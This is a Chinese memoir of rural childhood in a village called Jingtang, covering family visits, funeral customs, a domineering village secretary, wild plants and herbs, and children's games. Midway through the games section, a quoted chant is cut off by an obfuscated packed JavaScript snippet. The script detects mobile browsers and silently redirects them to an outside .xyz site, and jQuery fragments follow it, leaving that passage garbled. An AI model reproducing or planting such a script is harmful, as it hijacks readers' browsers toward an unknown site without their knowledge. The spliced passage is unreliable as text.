到了晚上,大姑她老婆婆跟我奶奶说:“天黑了,恁娘俩儿搁哪住啊?” 我奶奶说:“搁哪住都行。有个住的地儿就行。” “我带恁到后院儿住去吧。”大奶奶说。 我们穿过曲曲折折的青石磊成的院墙,朝大姑家的后院走去。大姑家的后院有些老旧了。大奶奶点起了灯。我跟奶奶被安置在了一张床上。大奶奶住在另一张床上。 “我看你这回来气色蛮好的。”大奶奶边给我们收拾被子,边跟我奶奶说。 “嗯。我这回上胖了。”我奶奶笑着说,“我以前肚子里有虫。自从打了虫,也能吃饭了。也不黄病了。” “你上回虫太多了。”大奶奶说。 “是的。上回我来了,晚上睡觉的时候,你让我趴在床上,你倒上香油,拿着大洋针给我挑的。也就你有耐心烦儿。”我奶奶笑着说。 “大省她妈妈以前来的时候,俺娘们儿处地也好。”大奶奶说,“大省她妈妈还在南乡躲计划生育啊?” “是的。”我奶奶说。 “可不容易。”大奶奶说。 我大姑、二姑长得都不赖,都是中等以上的个子,单眼皮,瘦长脸儿。我的大姑父、二姑夫也很好看。大姑夫穿着打扮跟我爸爸有点像,脾气也很像。都是瘦长脸儿,单眼皮,白白净净,斯斯文文。二姑夫有一双好看的大眼睛,通体也是明媚秀气干干净净。 我的大姑、二姑,在爱情上都是很大胆的“新派”,都是那时候的不太规矩的“伤风败俗派”。她们都是不顾父母之命媒妁之言,直接跟她们心爱的男人自谈的。我大姑为了我大姑夫还只身一人去萝村把她爹给她订的亲给退了。但她们的婚姻都很美满,生的孩子漂亮可爱,夫妻之间也很恩爱。我觉得大姑、二姑当年的决定很对,很值。说到这里,我想到了我印象里我前五姨夫似的萝村人特有的很立体的大眼睛和古铜色的皮肤,那跟我大姑父那样的清秀小生的面孔是不能比的。就是放在今天,我大姑父的白净面庞和细长的小眼睛,那颜值也是一线小生。想到这儿,我由衷地觉得我大姑的退婚的决定是正确而英明的。 2.路祭 老娄老奶奶跟我爷爷家一墙之隔,她家的隔壁就是她二儿子家和三儿子家。这两家都有一个大闺女,分别叫做“大香”、“大梅”,又都有一个小儿子,分别叫做“大伟”、“大龙”。我小时候就爱和大龙、大伟一起玩。 老娄老爷爷比老奶奶大十岁,耳朵聋了,老奶奶还耳聪目明,能说会道,精明强干的。听说她以前做过庄里的妇女领导,她如今在庄里依然是以她的老人家的经验、见识和深明大义,为庄里年轻人出点子、拿主意。谁有走不出的迷魂阵、扒不开的麻,弄不清的风俗讲究、说不透的伦理关系,只要找她,她很快就给你掰扯个明明白白。 人说家有一老,如有一宝。老娄奶奶这样又慈祥又有见识、又识大体的女人,真是全庄的一宝。关键时刻,老人家的见识还能救人一命。我听她说,我二姑小时候跟着我奶奶拾柴的时候,爬到树上玩。我二姑一不留神,从树上摔下来,趴在石薄连上,一动不动。我奶奶慌了神。老娄奶奶赶紧去掐她的人中,才让摔下树来的小丫头缓过气来。老娄奶奶在我心里真是神一般的老人。她可以让你安心、定心。她不仅对乡邻友好、慈祥大气,对她几个儿子、儿媳妇也没听说过有什么出格的言行。 一个村庄最具仪式感的大事怕是葬礼上的丧葬事宜了。这其中关节之多,事务之繁,不是了然于心,是不可能指挥若定的。每逢有人家里老了人,总是要来请老娄奶奶。如何破孝撕孝布,不同辈分的人戴什么孝,三天丧葬都需要哪些环节,都是请老娄奶奶来给拿主意,老娄奶奶就是公认的主心骨儿。 葬礼上很重要的环节是一天三遍的“点汤”。一众亲戚人等戴上孝排好队,跟着唢呐、喇叭、大炮的率领,沿着本庄“点汤”的小路去“点汤”。领队的是主家请来的德高望重的两位老者,他们两个抬着“汤锅”,走一段路,喇叭匠子们停下来,众人跪下,领队的老人用汤勺子从汤锅里舀出一勺汤来洒在地上,大家起来,再继续往前走。 举行一场“点汤”仪式,要路过很多庄亲世邻的家门,会有庄里人围观。“点汤”的队伍从事主家出发,经过庄里,最后奔上家东的小道儿。一条长龙迤逦而行,小孩子们跟着跑。老娄奶奶就是这条长龙的领队。她参加了很多人家的“点汤”仪式。老娄奶奶因为年纪大、辈分高,她很少为别人戴孝。她跟另一个奶奶一起走在队伍前头,抬着汤锅,面容庄重地走在前头。 我特别敬服老娄奶奶。她的为人也是大气得体,没有一点小家子气。她是明朗的,准备赐教和指引的,她的存在并不是只惠及她自己,而是同时也惠及其他人的。 我见过很多次“点汤”,但是从来没有人能够掩盖她的光芒。跟她一起“点汤”的人站在她的身边,无论是气质、长相,还是见识,都只能是她的陪衬。她是那样沉着、坚定,万事了然于胸。她又那么慈祥慈悲、襟怀坦荡,见解正确,时刻都能让人醍醐灌顶。 我现在还记得跟她一起“点汤”的徐姓大爷爷,他稳重老实,谦逊低调,他也同样跟老娄奶奶一样走在队伍前面,但是他在我心目中并不能胜任一个领袖的头衔,他不像老娄奶奶那样辉煌伟岸。 我在庄里看见过很多葬礼。那些葬礼的形式和人员也都是大同小异。只有一个人的葬礼给我留下了很深的印象,那是老温爷爷的葬礼。 老温爷爷是一个秃子,这是年迈的他给人的第一印象,他叫老温。但因为他得过一场瘟疫而变成了秃子,我总觉得他的“温”是“瘟疫”的“瘟”。老温身体孱弱,精神不济,有些邋遢。他不常出门,蜗居在家,出门也是拄着拐杖,脑门油亮、面红耳赤,低头哈腰、气喘吁吁,像个天宫里的仙翁,像赤脚大仙吧。他家在南荆堂最南边,淹没在一长遛儿的麦秸垛里,叫人很难看到他家的真容。他的大儿子如意四十多岁,没有婚娶,只有一个领养的女儿叫温丽丽,温丽丽常跟我玩,有银盆似的有红似白的大脸,和一双美丽的大眼睛。 如意是个典型的劳力,他胡子拉碴,忙于劳作,整张脸被晒地红黑油亮,像块打蔫了的猪腰子似的。 如意要去干活,温丽丽跟着老温奶奶。 有一天,久未露面的老温奶奶居然带着温丽丽来庄上卖豆芽子来了。老温奶奶也是孱弱的身体,气若游丝的嗓子。她穿着灰白的带大襟的褂子,花白的头顶上,戴着一顶绒面的黑帽子,远看观近看都像是一个男版的济公和尚。她手里拎着的孙女温丽丽,像是她拄着的一根拐杖。 老温奶奶一手牵着温丽丽,一手提着装豆芽子的塑料黑水桶。在大街上走走停停。知道的,以为她是卖豆芽子的,不知道的,还以为她是个老乞婆呢。看到她,北荆堂的几个妇女凑上前去跟她搭话。 “恁来卖豆芽子的,大娘?有阵子没看到你了?你身体还怪壮实?”家业大娘凑上去说。家业大娘手里也领着一个孩子,那个孩子也叫丽丽。她叫宋丽丽。 宋丽丽是北荆堂的,她是家业大娘的长房长孙女。家业大爷兄弟五个,如狼似虎,在南北荆堂也算是高门大户。家业大娘才五六十岁,成天把丽丽揽在怀里。丽丽长地白白胖胖,粉粉嫩嫩,双眼皮、大眼睛。一众人见了家业大娘抱了她来,都围着她,来逗她玩儿。丽丽靠在奶奶怀里,安安详详、尊尊贵贵,接受大家的朝贺。大嫂子是长房长媳,也同样受人尊敬。大嫂子人长得矮小,个子不高,脸蛋像枯黄的树叶一样单薄。坐席的时候,婶子、大娘都招呼她。“她大嫂子,这个菜没有荤油,你能吃!”“她大嫂子,这个肉,不是猪肉,你也能吃,多叨点儿!”大嫂子是“胎里素”,不吃肉。大伙儿都知道,所以对她格外关心。 “我来卖豆芽子的,恁嫂子。”老温奶奶说,“我还怪好。” “恁牙口儿什么的还好吧,大娘?”那些婶子大娘问她。 “我牙口儿还行。”老温奶奶说,“多亏了俺二儿、二儿媳子。人家过些天就来看看我,还给我送节礼,给我买吃的。啊,我吃的豆奶粉。”她张开嘴给人家看。 “那可不孬。大娘。自从俺二兄弟到了张庄,人家过得可好了。人家老岳有本事,开着面坊。二妹妹还给你生了两个孙子儿。”家业大娘说。 “两个孙子儿都不姓温。都姓张。”老温奶奶说。 “什么姓张姓温的。都是咱的血脉。一个姓,那还不是无所谓嘛。”家业大娘说。 “是的。恁嫂子。俺想得开。俺家恁二兄弟也想得开。弟兄三个就数他过得好。”老温奶奶说。 “丽丽也跟着恁奶奶来卖豆芽子的?”家业大娘问她。温丽丽躲在奶奶的手里,不说话。她的脸上抹地黑一道,白一道的。头发油油地贴在额头上。家业大娘手里的宋丽丽仰着白白的大脸,睁着大大的眼睛看着她。 “啊,丽丽也跟着我卖豆芽子的。俺的叫丽丽。恁的也叫丽丽。”老温奶奶说,“俺叫温丽丽,恁叫宋丽丽。” “都是丽丽!” 家业大娘笑着说,“俺是北荆堂的!恁是南荆堂的!” “恁这个孙女子长得可不孬!双眼叠皮儿的。”老温奶奶笑着说。 “恁孙女子长得也不孬。有红似白的。”家业大娘说。 “俺没时间照顾。如意儿要去干活儿。我年纪大了。还得照顾她爷爷。”老温奶奶说。 “行,大娘,有苗不怕长。丽丽长得不孬,从小被你理持地又懂事儿。以后找个好人家。俺大爷身体怎么样了?没看到过俺大爷嘛。”家业大娘说。 “他走不动了。都七十九了。过天了日了。我不是来卖这点豆芽子,我也不出来了。”老温奶奶说。 “能动弹的话还是勤出来走走。走走身体好。”家业大娘说。 “行!恁嫂子。我再走走了。”老温奶奶说着提起了她的水桶。 同样是丽丽,同样的雪白粉嫩,同样的大眼睛双眼皮。北荆堂的宋丽丽因为有爷爷奶奶、爸爸妈妈的庇护,尽享尊荣。南荆堂的温丽丽却孤寒落魄,虽有个老光棍儿的父亲,和一个年事已高的祖母,但在别人眼里,形同孤女。 出身高贵的,人家看她的眼光也尽显尊贵,什么事儿都高看她一眼,觉得她浑身都是一副高贵的皮囊,怎么看怎么让人欢喜。久而久之,她在别人眼里也越发贵气和傲气;出身卑贱的,人家看她时也觉得她低人一等,觉得她天生就是一副贱命。久而久之,她在别人眼里也就一股子寒酸气。 “俺爹啊!俺可怜的爹啊!你怎么死了的!你一辈子没享过福啊!” 一个下午,我看到一个陌生的女人嚎啕大哭着从家东进了庄。她哭着从竹来大爷的小店前拐过去,直奔南家前而去。 “老温死了!”我爷爷似笑似不笑地看着我说。 刚才哭的女人是老温的二儿媳!是了,老温的二儿子入赘去了张庄,找了一个开面坊的人家的闺女。 那女人如今也是三四十岁的年纪,她生地白净面皮,身后跟着两个儿子。大儿子年长十七八,沉稳老实、白净秀颀,像他斯文沉稳的爸爸。二儿子年幼又顽皮,颜面像他的妈妈。她的老实斯文的男人推着一辆洋车子一声不吭地走在她的前面。 老温二儿子一家子来荆堂奔丧了! 这个可以确定平时跟老温鲜有接触,更甭提有什么感情的二儿媳,一进庄东头儿就开始嚎啕大哭。她哭地有滋有味,有情有义,她煞有介事地哭着她的公爹。这是一种仪式,也是庄上人早就约定俗成的规矩,痛哭和眼泪,都是规矩。 出殡前,最后一个大型仪式,是“行路祭”,场子搭在大街上。棺材搁在路中央,两旁站着男女老少,这些人自然地围成一圈儿人墙。他们肩挨着肩,头挨着头,看着逝者的亲朋好友,在一个主事的男人的号召下,井然有序地进行着自己的项目。主事儿的点到谁的名字或是一辈人的名字,被点名的那个人,或是那些个人,就上台进行“路祭”。 轮到老温爷爷的孙子辈了,他的不姓温的长孙走上前来,跟着喇叭的节奏声,有条不紊地举行着“三拜九叩”的仪式。那是一个让我至今想起来都惊叹不已的表演。 说表演并不是不敬,众目睽睽,丧祭仪式真的需要认真表演给活人看,整个过程会受到参观者的欣赏和评判。对于一个未曾经历过世事的十几岁的少年,大庭广众之下的表演是多么紧张和局促不安啊。然而,这个老温的大孙子并没有想象中的一丝一毫的惊慌,他冷静沉着,毫不失礼,举止几乎无可挑剔。 我现在还记得他一拜一奠的样子,他只是一介书生,但是他身上既有十六岁的文气、素净,也有三十六岁的沉着、稳重。平日里司空见惯的“路祭”仪式,在他这样一个白面书生的演绎下,是如此的让人心仪和惊叹不已。那些“三拜九叩”的招式,其实并不复杂,只是一套动作的重复,但是他演绎的一招一式都那么完美大气。喇叭匠子有节奏地吹着喇叭,配合着他的一招一式,那喇叭也仿佛不是平日里的喇叭,而是对这个沉稳的美少年充满了亲切和赞叹。 此刻,这个好少年的表演,更让人认识到到喇叭的重要性。只有他的表演才能跟喇叭的音乐那么两相合。喇叭匠子在他的表演中找到了知音和美感,吹地更加得意、更加带劲儿了。他们抱着喇叭,仰着脸儿,朝着天,鼓着腮帮子,起劲儿地吹着,他们薄薄的面皮一鼓一鼓的。 两旁的乡亲们静静地看着这个大男孩的表演。他目不斜视,稳稳当当、庄重肃穆地,跟着一高一低的喇叭声,或下拜或祭奠,稳如泰山。 我当时想,为了在陌生的庄上完成这项仪式,他是起了多早的五更,用了多少时间,他的精明的娘为他请了什么样的高人来教他演练。台上就他一个人在表演,没有任何指挥和指导,一切全靠他自己完成,而他完成的如此惊艳,我那时候真是佩服到了极点。他的父亲入赘张庄,老温家贫穷不堪,他作为孙子辈与温家少有来往。这个很少谋面的邻庄的大哥哥,成了我幼年心目中的翩翩少年郎的典范。 老温爷爷的“温”字在我幼小的心目中等同于“秃”,因为他是秃的。因为他是病的,他的“温”字在我的印象里又等同于“瘟”。老人家一辈子磕磕碜碜凄凄惨惨,到头来得到一场并不磕碜的葬礼,他因为他这个长孙的“路祭”上的表演而“与有荣光焉”,这对老温来说,快哉?哀哉?在我看来,老温虽死,但有孙如此,也足可以告慰平生了。身后有儿孙茁壮成长!甭管这儿孙姓张还是姓温,总是他的血脉,他的根苗!如此看来,葬礼不重要,葬礼又如此重要!葬礼是后人的生活态度和精气神的体现。葬礼是对逝者最后一程的尊重与哀思的表达。 3.战海大叔 “路祭”这么大的场子当然安排在庄里举行。庄里是我们小孩子聚集玩耍的地方,跳大绳、“砍大刀”,“木头人”、“黑猫警长”,都需要庄里这么大的场子才能耍的开。庄里也是大人们树下乘凉拉呱谈天说地的地方。十字路口以北是大翠家,十字路口朝南路西是宗雨的家,他家墙外有几棵槐树,夏天,槐树的叶子“哗啦啦”地响,大人们就坐在树下乘凉。 那时候男女老少都在家里,家家户户的日子也都靠着种二亩地。那时候,我只知道家乡很美,山石很美,西岭上的红彤彤的柿子让人陶醉,我不能体会父母对沃土的渴望,对庄稼的渴望,对粮食的渴望。 那时候,大家一年到头很少能吃上一回猪肉。记得有一回,昌道的娘拄着拐杖挪着小脚颤颤巍巍地朝庄东头挪去,有人问她去哪儿,她颤巍巍地说:“我去集上买点菜。”她说的“菜”,就是猪肉了。我们管猪肉叫菜,买菜就是买猪肉,因为其他的蔬菜是不用买的。 每年秋收完毕,大队书记、大队会计忙着催缴公粮。家家户户都在拉风箱做晚饭的时候,会计在大喇叭里讲话了:“喂!老少爷们儿,姊妹娘们儿,现在颗粒归仓了,该交公粮了哈。大家辛苦辛苦,趁着这几天有功夫,抓紧时间把公粮交上。” 交公粮那几天,一家家、一户户,一袋子、一袋子地装好自家的粮食,用小推车推到大队里。小麦,山芋干子,玉米。统共就那点收成,交吧,交完了剩下的就是自家一年的口粮了。那时候没有种地来卖粮食之说,这些收入要吃一年的,哪个敢随便动呢。 交公粮的时候,不知道谁家在粮食袋子里做了手脚,在粮食里掺了沙子。大队书记战海大叔气地在大喇叭上破口大骂,骂尽天下最难听的话。 “恁个龟孙!往公粮来掺沙子掺石子儿!你不说我也知道是谁!等我查出来我揍死恁个妻侄小舅子!” 我们一群小孩子听着大喇叭里战海骂人,心里也跟着心惊胆颤的。 “谁胆子恁么大,敢在公粮里掺沙子?” “他就不怕战海知道了,把他狠狠地揍一顿吗?” “为了省点儿粮食,挨上战海一顿骂,犯得着吗?” “那个往公粮里掺沙子的人是怎么想的?他是因为粮食不够吃了?还是故意跟战海捣蛋的呢?” “战海既然在大喇叭里骂,那就说明,他也不知道是谁在公粮里掺了沙子。要不,他肯定把那人抓过去揍一顿了。他还用得着骂?” “对,战海大叔最喜揍人了。” “幸好战海不知道是谁干的,要不,他肯定把那个人拳打脚踢一顿了。” “对,战海大叔要是知道是谁,肯定把他喊到大队部,跟猪一样捆起来,拳打脚踢揍一顿。要不就拿他的皮带抽。” 大队书记凶神恶煞,威风凛凛!能叫我们这些小孩闻风丧胆。我们几个小孩儿在一处玩,远远的看见他,赶紧小声嘀咕着“战海!战海!”然后,就看见这个伟大人物昂首阔步地走过来。他长着一张大红脸,从额头到整张脸都油油光光,亮亮堂堂。大背头的脑袋上上竖的头发,还有嘴巴上的胡子邋遢,让他的整张脸看起来,像是三峡。他中等身材,甚是魁梧。听说他会拳脚,庄里的男女哪个做错了事儿,做了他认为错误的事儿,就由他叫了去施行拳脚的惩罚。 战海统领着荆堂好多年,大婶子跟着他,也是经常被他打骂。据说有一回,他先吃饭了,大婶子还没吃。等大婶子去吃饭的时候,那菜碟子里就剩下一点菜汤了。大婶子就端到屋门旁倒了。 战海大叔看到了,就问大婶子:“那剩菜,你是吃了还是倒了?” 大婶子说:“我吃了!” 大叔一把把大婶子抓过来,上去就打:“你说你吃了?!你吃了?!你吃了?!” 战海大叔打骂大婶子,两个人从天井里闹到大门外。庄上的婶子大娘闻风而至,赶紧去拉架。大婶子被几个娘们儿拽到了庄里,她靠在庄里的石台子上,闭着眼睛喘着粗气。几个娘们儿围着她劝说她。 “恁嫂子,他大哥就这个脾气,你还有两个两个孩子呢。你为了孩子也得忍着。可不能想不开。” “是的。恁婶子,他大哥现在年轻,等过过就好了。你跟着他恁么不容易,他能不知道嘛。夫妻俩过日子哪有不打不骂的。不打不骂的咱这庄上有几个。” 虽然战海叔是庄上的一霸,但是,别人并不恨大婶子,倒是有些同情她。大婶子不像大叔那样霸道,打扮地也很普通,她留着一头短头发,因为是自来卷儿,像是烫过了一样。身上经常穿着那个年代男女通穿的军绿色的褂子,钉着黄灿灿的洒了金水儿的大铝扣子。地里的活儿,都是大婶子一个人干。战海叔从来不去。他没事儿就端着茶杯到处转悠视察,视察大婶子是怎么种地的。 秋天刨山芋,战海大叔总是找上几个年轻的壮丁来给他家刨山芋,给他家刨山芋的人给他家干活儿,总是不像给自家干活儿那么仔细。一群年轻的壮丁挥舞着镢头在战海大叔的地里给他刨山芋,大婶子也在。一群人说说笑笑,好不热闹。庄上的人都知道,这是战海大叔家找人帮他刨山芋了。那群壮丁里头,不知道有几个是挨过战海大叔的揍的,又有几个是偷偷地在公粮里掺了石子儿的。战海家的山芋被那群壮丁刨出来推回家以后,我们这些“捞山芋”的小孩就慕名而来,背着粪箕子到他家地里来“捞山芋”了。 到战海大叔家的地里“捞山芋”,那是一个肥差。不知是无意为之还是有意报复,那些壮丁在他家地里刨完山芋以后,地里总能落下很多山芋。每次我们去他家地里“捞”山芋,总有很多一窝一窝的兔子似的大块的山芋,真是想象中的意外之喜。 4.薅草、草药 在我很小的时候,每逢春耕,爷爷、三叔、奶奶去剜地,我也拿着一杆铁锨跟着剜。我一茬一茬的剜,有时候还会在爷爷给我划定的任务栏里跟大人比赛。我剜地并不赖,常常得到大人的夸奖。他们刨地,我也拿个?头跟着刨地。他们包山芋沟,我也学着扛着铁锨铲土包山芋沟。他们挑水栽山芋秧子,我也跟着浇水、栽秧,埋坑。 春天,要朝岭上推粪,爷爷在墙里的茅坑边朝墙外出粪,等那些粪晒干了,我就拿着?头在墙外一茬一茬地“倒粪”。那些粪掺和了草灰,并不显得臭不可闻。把成块的散发着臭气的黑色的大粪,用?头一点点刨开,刨细了,在墙外晒晒。爷爷用箩筐装起来推到地里,用铁锨一片片均匀撒开,就是给地里施肥了。 我那时候干农活,干得非常起劲,不怕苦不怕累。爷爷家的农具并不是最新的,但好像都很好看,用起来很顺手,让人拿到了那些农具,就想积极地投入到生产劳动中去。比如小?头吧,中长的?头把儿,是黄白色的树干做成的,已经被磨地光溜溜、晶晶亮了,握在手心儿里凉凉的。?头齿是生铁打造的,青脸而白齿,也是闪闪亮亮,发出银白色的光芒。全荆堂里,唯有爷爷家的农具最美丽,其他人家的农具,要么是外表不美观,要么是用起来不顺手。 后来我长大一点儿了,麦忙的时候,我就跟着爷爷割麦子,用镰刀一茬茬地割,爷爷还教我怎么捆麦秸个子,无非是用鲜一点的麦草打个拧儿,放在地上,再把割好的一捆麦子放上去,然后用麦草把麦子捆起来。捆好的一捆麦个子,有一头猪那么粗,三四个麦个子一起竖在麦地里,像搭起来的一个个小房子。大人忙着割麦子,小孩子躺在一地麦草上,倚在麦个子上,仿佛这儿就是家,就是床。割完麦子,就要在麦茬地里点玉蜀黍了。爷爷拿着?头刨坑,我就端着瓢子跟着,一个坑里放两个、三个的玉米粒。 不忙的时候,我喜欢去地里薅草喂鸡。爷爷家的竹篮子也很漂亮。薅了草放在这样好看的竹篮子里也是一种快乐。羊蹄夹子高高地从地里拱出来,温和可爱,我最喜欢。猪耳朵草贴着地面生长,肥润润,亮光光。猫子眼,外表繁盛可爱,但是薅断一截儿,就会冒出白色的汁儿,老人说,那汁儿有毒,只有红眼睛的兔子能吃得了。跟猫子眼长的比较相似的是马齿苋。记忆中的马齿苋不叫马齿苋,我们叫它马乳菜。 马乳菜没有猫子眼那么毒,没有白色的毒汁儿,能养活人。据说以前歉年的时候,父母养不起闺女了,就跟闺女商量,想把她送给人家当团圆儿媳妇:“妮儿,咱家缺吃少喝,养不起你了,让恁爹推着胶车子,把你送到恁婆家吧!”闺女不愿离开爹娘,就哭着跟父母说:“马乳菜,把眼撑,三天不吃也能撑。吱吱拧拧地送团圆,那是不可能。”因为这个故事,我在很小的年纪就喜欢上了马乳菜。 关于马乳菜,还有一个故事。据说,后裔射日的时候,很快就射掉了九个太阳,那最后一个太阳躲到马乳菜下头。马乳菜下头有一条蚯蚓,我们跟蚯蚓不叫蚯蚓,叫“出露蚕”。“出露蚕”看到了躲在马乳菜下头的太阳,就跟后裔告状:“哎!马乳菜下头还有一个!”后裔没有听到,可是最后一个太阳听到了。他警告“出露蚕”说:“出露蚕,你别扒豁儿,等我出来,晒你个干豆橛。”所以“出露蚕”害怕见太阳,只要它一出来,太阳就对着它使劲地晒。“出露蚕”只能躲在地底下。而胆敢露出头儿的“出露蚕”,一准儿给太阳晒地干实巴焦的,真的跟豆橛子一样。 羊蹄夹子、猪耳朵、马乳菜,猫子眼,这些草的名字都跟好吃的肉有关。为什么老百姓能从这些绿油油的没有一滴油的野草里,想到肉这种肥美的东西?大概是因为它们的形状吧。又或许,那时候的老百姓,对肉类实在是太渴望,而那个时候,肉类对于老百姓来说,又是那么难得。 地头路边上多的是节节草。薅不完,拔不尽。节节草太瘦长纤细,我明知道鸡鸭不爱吃它。但是有时候为了使自己的篮子变得丰满好看,也薅了来,满满地放在篮子里。挎着回家,意料之中的,会被奶奶数落几句。 听人说,小壁虎即使被切成几段,也不会彻底死去,它吃了节节草就会返阳。我妈妈说,砸蛇一定要砸它的头,这样它才能彻底死了,要不,它吃了节节草会回来报仇的。有一个女人,她做针线的时候看到一条蛇,她一时没有其他工具,就把做针线的锥子插进了蛇的身上。那蛇驮着女人的锥子一溜烟儿跑了。到了夜里,女人在睡梦中听到外头有动静,有什么东西在撞她家的门槛儿,“哐当”、“哐当”。女人起身一看,原来是那蛇来报仇了,它正驮着锥子在撞门槛儿呢。因为有锥子把它挡住了,它才进不来。女人看了,找来一块大石头,狠狠地,把那蛇给砸死了。 灯笼草的茎叶,像灯笼骨架一样向上攒聚着,茎叶上开着一朵朵白色的小花,星星点点的,配上那些纤细的花茎和零星的绿色叶片,在地里颤颤巍巍、楚楚可怜的生长着。我喜欢她。 大米粽子草,也是一小撮一小撮地立在地里,叶子油亮翠绿,小小的花朵紫紫的,很内敛地顶在头上。我也喜欢她。我喜欢大米粽子花,不知是因为那紫色小花的楚楚动人,还是因为她的名儿。大米粽子,是我一年甚至几年都不一定能够吃上一回的东西。可惜这花没有哪里有一丁点儿像大米粽子的地方,可以让我饥荒的肚子得到一点点犒赏。 苘麻总是亭亭玉立的,开着黄色的小花。苘麻结的果子,我们叫它苘馒头。大馒头,又是一种我特别想吃,又不能经常吃地到的东西。苘麻的果子为什么叫苘馒头呢?大概是因为,它的果子圆墩墩、软乎乎的缘故吧。顺手摘下来一个苘馒头,撕开来,里头的密密麻麻的小种子像嫩嫩的芝麻。放在嘴里嚼一下,淡淡的,甜甜的。没有一丝一毫馒头的味道。为什么,大家如此饥荒,竟给这些植物起了这么充饥的名字呢?或许,正是因为饥荒的缘故,才让人对细米白面大鱼大肉充满了渴望吧。 拉拉秧,我是轻易不会去碰的。不小心碰上了,胳膊会被拉出来几道红印子。我自己很讨厌拉拉秧的艰涩缠绵。奶奶常说我,老是跟着她,“跟拉拉秧似的”,大概就是说,我又缠人又讨厌,只能给她带来负担吧。 萋萋芽有刺,细细的毛刺足可以刺进一个孩子的手掌。我也从来不碰它。妈妈说,萋萋芽熬水喝可以治病。萋萋芽遍地都是,开出的紫色的花也是很土气,像麻绳散开的头儿。它的花与其说是一“朵”一“朵”,不如说是一“头”一“头”的。一“头”花才更契合它的土气和不景气。可是它开地遍地都是。它那么土,可它还偏偏多刺。它不像拉拉秧,它不缠人。但是谁碰了它,踩了它,手脖子、脚脖子很可能被它刮拉一下,严重者会留下红红的血印子,火辣辣地,让你抱着胳膊抓挠上半天。卑微又多刺的萋萋芽啊。它就是那么倔强地遍地生长着。 不是农忙的季节,爷爷带着我去地头上刨药草。我常常扛着?头跟着爷爷去地里刨半夏。半夏是一种草药。它的露在地面上的叶子是温柔的、细碎的,绿绿的。半夏的根埋在地下,黄褐色的皮,裹着圆圆的白白的果肉。爷爷背着粪箕子在地头转悠,发现了一棵半夏,?头一挥,刨下去,连土一起扒一扒,就把白白的圆圆的小胖子扒出来了。爷爷把刨出来的半夏扔到粪箕子里,回家对半儿切开,晾干了,就可以拿去卖钱了。同样可以刨来入药的,还有地钉草。地钉草长着温柔的小碎叶子,开着紫色的小花,刨出来,是金黄色的有些像人参一样的长长的根须。 有时候,爷爷带着我到西岭上撸金银花。金银花长着油绿油绿的叶子,一串串,一枝枝,从一堆岩石缝里喷出来,喷出白白、黄黄,喷香细长的花。把金银花撸回家,在地上铺上干净的塑料纸,晒干以后,放在锅里翻炒一下,装进爷爷的白陶瓷茶壶里,就是庄稼人的茶叶了。我夏天就爱喝这个。柿树的叶子也可以撸下来晒干卖钱。只要会爬树,两只脚站在树上踩稳了,一只手攀过柿树的枝条,一只手把柿树叶子大把大把地撸下来,装进化肥袋子里,带回家晒干,又可以卖几毛钱。 5.来庄里玩 小孩子特别喜欢玩。荆堂的十字大街足够宽敞的,可供小孩子们奔跑、追打、躲藏。 大街上小孩儿多的时候,可以玩“砍大刀”。谁来玩“砍大刀”啊,小孩儿“呼啦”一声儿都来了。 “两军”对阵,各自“战营”里的人都把胳膊拉起来,把手使劲儿拉紧了,结成人墙,然后互相冲着对方的“营垒”“叫阵”: “照明亮!” “砍大刀!” “尽你选!” “尽你挑!” “挑大的!” “挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137779|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的!” “专挑那个能跑的!” “谁?!” “大龙!” 接下来,被点名的大龙铆足了劲,拼尽全力向对方“营垒”冲过去,想冲个“鱼”活“网”破。 这时候,“迎敌”的一方也是齐心协力,拉紧身边“战友”的拳头,拼尽全力不让飞来的“悍将”冲破“堡垒”。“迎敌”的一方也不确定来者到底冲着哪一块一头撞过去,只能做好万全的准备。而被“点将”的这员“大将”在飞奔着来“撞”之前,也要想好“敌方”哪一块比较好突破,当然是“敌方”力量比较弱小的那一块了。当然,你还可以声东击西,起跑的时候冲着敌方南面的“堡垒”,南面的阵营开始死命拉紧拳头,加强防备,准备“迎敌”。哪知这员“飞将军”临时突然掉头,冲向人墙北面防御松懈的地方。 如果“飞将军”冲破了对方的战阵,即为战胜,战绩是可以随便挑“敌营”一员“虎将”,或者是跟自己要好的一个人,拉回自己“阵营”,壮大自己“队伍”的力量。如果这员“飞将军”没有突破,而是被对方的人“网”拦住呢?那他就被对方“俘获”,成为对方的一员。当然喽,这名被“俘虏”的人,如果是“身在曹营心在汉”,那就会盼望着自己“母方”下次“出征”的“将军”,可以突破“敌方”的“防线”,把自己“救”回去。还可以等自己“母方”的“飞将军”来敌方“破阵”的时候,故意松开防护,跟自己“母方”的人来个里应外合。 人少的时候可以玩“迈大步”。两个小孩对着坐下,把双脚对贴起来,让第三个小孩跳过去。当然这只是最底层的了,跳过去以后就要“升级”。坐着的其中一个小孩把两只脚齐齐地摞到对面小孩的两只脚上,以加大难度。挑战的第三个小孩再跳过去以后,游戏便继续“升级”到第三层,坐着的小孩把两只脚摞在一起,对面坐着的另一个小孩在这两只脚上头再搭上一只脚。这时候难度已经很大,挑战的小孩跳过去的时候,一不小心,就会碰着这第三只脚的脚尖,甚至一慌神扑倒在坐着的小孩身上,这样的“失误”都有可能。如果顺利跳过,那么坐着的两个小孩就要准备摞起四只脚,挑战的小孩继续跳。如果挑战的小孩儿难以逾越,撞着了高高竖起的第四只脚,哪怕是第四只脚的脚尖,挑战就宣布失败,换坐着的另一个小孩来跳。那时候的小孩是不怕地上脏的,为了摞起脚难倒对方,一定会竭尽全力,为了摞起三只脚、四只脚,为了支撑起在空中的双脚和小腿,他们的大腿和腰背乃至脑袋和双手都要支撑在地上。 安静一点的游戏是“丢石子儿”。“丢石子儿”,可以两个人或者三个人一起玩。先是石头剪子布决定先后。五个石子儿丢下四颗,先是一个一个捡起来。接着,再把石子儿洒下去,两个、两个地捡起来。然后把石子儿洒下去,分别捡起来三个、一个。最后把石子儿洒下,同时把四个石子儿都胡搂到手里,过关。 